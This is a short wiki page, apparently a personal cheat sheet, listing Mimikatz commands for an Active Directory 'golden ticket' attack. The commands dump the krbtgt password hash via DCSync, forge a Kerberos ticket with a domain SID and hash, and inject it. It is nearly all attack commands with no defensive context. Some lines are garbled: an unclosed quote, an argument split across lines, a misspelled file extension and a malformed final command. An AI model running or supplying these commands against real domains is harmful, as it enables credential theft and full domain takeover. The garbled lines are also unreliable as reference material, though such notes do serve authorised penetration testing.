Mimikatz
Jump to navigation
Jump to search
golden ticket
#get krbtgt password hash
.\Mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:contoso.int /user:krbtgt exit
mimikatz # kerberos::golden /admin:adminuser /domain:contoso.int /sid:S-1-5-21-0123456789-012345678-0234567890-1112 /krbt
gt:8dd38658f31da2b60103a2856d7fd42a /ticket:myticket.kiribi
kerberos::ptt myticket.kiribi
kerberos::tgt ticket:myadmin-golden.kiribi